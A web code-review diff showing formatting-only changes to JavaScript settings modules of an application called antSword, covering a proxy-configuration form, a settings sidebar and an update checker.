sidebar.addItem({id: 'aproxy', text: `<i class="fa fa-paper-plane"></i> ${LANG['title']}`});
sidebar.addItem({
id: 'aproxy',
text: `<i class="fa fa-paper-plane"></i> ${LANG['title']}`
});
const cell = sidebar.cells('aproxy');
// 代理数据
const aproxymode = localStorage.getItem('aproxymode') || 'noproxy';
......@@ -20,108 +23,98 @@ class AProxy {
// 工具栏
const toolbar = cell.attachToolbar();
toolbar.loadStruct([
{
id: 'save',
type: 'button',
text: LANG['toolbar']['save'],
icon: 'save'
}, {
type: 'separator'
}, {
id: 'test',
name: 'test',
type: 'button',
text: LANG['toolbar']['test'],
icon: 'spinner',
disabled: aproxymode === 'noproxy'
}
]);
toolbar.loadStruct([{
id: 'save',
type: 'button',
text: LANG['toolbar']['save'],
icon: 'save'
}, {
type: 'separator'
}, {
id: 'test',
name: 'test',
type: 'button',
text: LANG['toolbar']['test'],
icon: 'spinner',
disabled: aproxymode === 'noproxy'
}]);
// 表单
const form = cell.attachForm([
{
type: 'settings',
position: 'label-left',
labelWidth: 150,
inputWidth: 200
const form = cell.attachForm([{
type: 'settings',
position: 'label-left',
labelWidth: 150,
inputWidth: 200
}, {
type: 'block',
inputWidth: 'auto',
offsetTop: 12,
list: [{
type: 'label',
label: LANG['form']['label']
}, {
type: 'radio',
position: 'label-right',
label: LANG['form']['mode']['noproxy'],
name: 'aproxymode',
value: 'noproxy',
checked: aproxymode === 'noproxy'
}, {
type: 'block',
inputWidth: 'auto',
offsetTop: 12,
list: [
{
type: 'label',
label: LANG['form']['label']
type: 'radio',
position: 'label-right',
label: LANG['form']['mode']['manualproxy'],
name: 'aproxymode',
value: 'manualproxy',
checked: aproxymode === 'manualproxy',
list: [{
type: 'combo',
label: LANG['form']['proxy']['protocol'],
readonly: true,
name: 'protocol',
options: [{
text: 'HTTP',
value: 'http',
selected: aproxyprotocol === 'http'
}, {
type: 'radio',
position: 'label-right',
label: LANG['form']['mode']['noproxy'],
name: 'aproxymode',
value: 'noproxy',
checked: aproxymode === 'noproxy'
text: 'HTTPS',
value: 'https',
selected: aproxyprotocol === 'https'
}, {
type: 'radio',
position: 'label-right',
label: LANG['form']['mode']['manualproxy'],
name: 'aproxymode',
value: 'manualproxy',
checked: aproxymode === 'manualproxy',
list: [
{
type: 'combo',
label: LANG['form']['proxy']['protocol'],
readonly: true,
name: 'protocol',
options: [
{
text: 'HTTP',
value: 'http',
selected: aproxyprotocol === 'http'
}, {
text: 'HTTPS',
value: 'https',
selected: aproxyprotocol === 'https'
}, {
text: 'SOCKS5',
value: 'socks',
selected: aproxyprotocol === 'socks'
}, {
text: 'SOCKS4',
value: 'socks4',
selected: aproxyprotocol === 'socks4'
}
]
}, {
type: 'input',
label: LANG['form']['proxy']['server'],
name: 'server',
required: true,
validate: "NotEmpty",
value: aproxyserver
}, {
type: 'input',
label: LANG['form']['proxy']['port'],
name: 'port',
required: true,
validate: "NotEmpty,ValidInteger",
value: aproxyport
}, {
type: 'input',
label: LANG['form']['proxy']['username'],
name: 'username',
value: aproxyusername
}, {
type: 'password',
label: LANG['form']['proxy']['password'],
name: 'password',
value: aproxypassword
}
]
}
]
}
], true);
text: 'SOCKS5',
value: 'socks',
selected: aproxyprotocol === 'socks'
}, {
text: 'SOCKS4',
value: 'socks4',
selected: aproxyprotocol === 'socks4'
}]
}, {
type: 'input',
label: LANG['form']['proxy']['server'],
name: 'server',
required: true,
validate: "NotEmpty",
value: aproxyserver
}, {
type: 'input',
label: LANG['form']['proxy']['port'],
name: 'port',
required: true,
validate: "NotEmpty,ValidInteger",
value: aproxyport
}, {
type: 'input',
label: LANG['form']['proxy']['username'],
name: 'username',
value: aproxyusername
}, {
type: 'password',
label: LANG['form']['proxy']['password'],
name: 'password',
value: aproxypassword
}]
}]
}], true);
form.enableLiveValidation(true);
form.attachEvent("onChange", function (name, value, is_checked) {
if (name == "aproxymode") {
......@@ -169,7 +162,9 @@ class AProxy {
formType: 0
}, function (testurl, index) {
layer.close(index);
var loadindex = layer.load(2, {time: 6 *1000});
var loadindex = layer.load(2, {
time: 6 * 1000
});
var _formvals = form.getValues();
var _server = _formvals['server']
.replace(/.+:\/\//, '')
......@@ -181,7 +176,7 @@ class AProxy {
_aproxyauth = _formvals['username'] + ":" + _formvals['password'];
}
var _aproxyuri = _formvals['protocol'] + '://' + _aproxyauth + '@' + _server + ':' + _formvals['port'];
var hash = (String(+ new Date) + String(Math.random()))
var hash = (String(+new Date) + String(Math.random()))
.substr(10, 10)
.replace('.', '_');
......@@ -204,4 +199,4 @@ class AProxy {
}
}
module.exports = AProxy;
module.exports = AProxy;
\ No newline at end of file
This diff is collapsed.
This diff is collapsed.
......@@ -40,7 +40,10 @@ class Settings {
tabbar.addTab('tab_about', '<i class="fa fa-cog"></i>', null, null, true, true);
const cell = tabbar.tabs('tab_about');
const sidebar = cell.attachSidebar({template: 'text', width: 200});
const sidebar = cell.attachSidebar({
template: 'text',
width: 200
});
this.about = new About(sidebar);
this.language = new Language(sidebar);
// this.update = new Update(sidebar);
......@@ -65,4 +68,4 @@ class Settings {
}
module.exports = Settings;
module.exports = Settings;
\ No newline at end of file
This diff is collapsed.
......@@ -7,23 +7,24 @@ const LANG_T = antSword['language']['toastr'];
class Update {
constructor(sidebar) {
sidebar.addItem({id: 'update', text: `<i class="fa fa-cloud-download"></i> ${LANG['title']}`});
sidebar.addItem({
id: 'update',
text: `<i class="fa fa-cloud-download"></i> ${LANG['title']}`
});
const cell = sidebar.cells('update');
// 初始化toolbar
const toolbar = cell.attachToolbar();
toolbar.loadStruct([
{
id: 'check',
type: 'button',
// 调试或者windows平台不支持更新
disabled: antSword['package']['debug'] || process.platform === 'win32',
text: LANG['toolbar']['check'],
icon: 'check-square-o'
}, {
type: 'separator'
}
]);
toolbar.loadStruct([{
id: 'check',
type: 'button',
// 调试或者windows平台不支持更新
disabled: antSword['package']['debug'] || process.platform === 'win32',
text: LANG['toolbar']['check'],
icon: 'check-square-o'
}, {
type: 'separator'
}]);
// toolbar点击事件
toolbar.attachEvent('onClick', (id) => {
......@@ -59,9 +60,9 @@ class Update {
let info = ret['retVal'];
// 木有更新
if (!ret['hasUpdate']) {
return typeof info === 'string'
? toastr.error(LANG['check']['fail'](info), LANG_T['error'])
: toastr.info(LANG['check']['none'](info['version']), LANG_T['info']);
return typeof info === 'string' ?
toastr.error(LANG['check']['fail'](info), LANG_T['error']) :
toastr.info(LANG['check']['none'](info['version']), LANG_T['info']);
}
// 发现更新
toastr.success(LANG['check']['found'](info['version']), LANG_T['success']);
......@@ -121,7 +122,8 @@ class Update {
}
});
}).send('update-check', {local_ver: antSword['package']['version']
}).send('update-check', {
local_ver: antSword['package']['version']
});
}
......@@ -179,4 +181,4 @@ class Update {
}
}
export default Update;
export default Update;
\ No newline at end of file
......@@ -41,4 +41,4 @@ class Category {
}
}
module.exports = Category;
module.exports = Category;
\ No newline at end of file
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment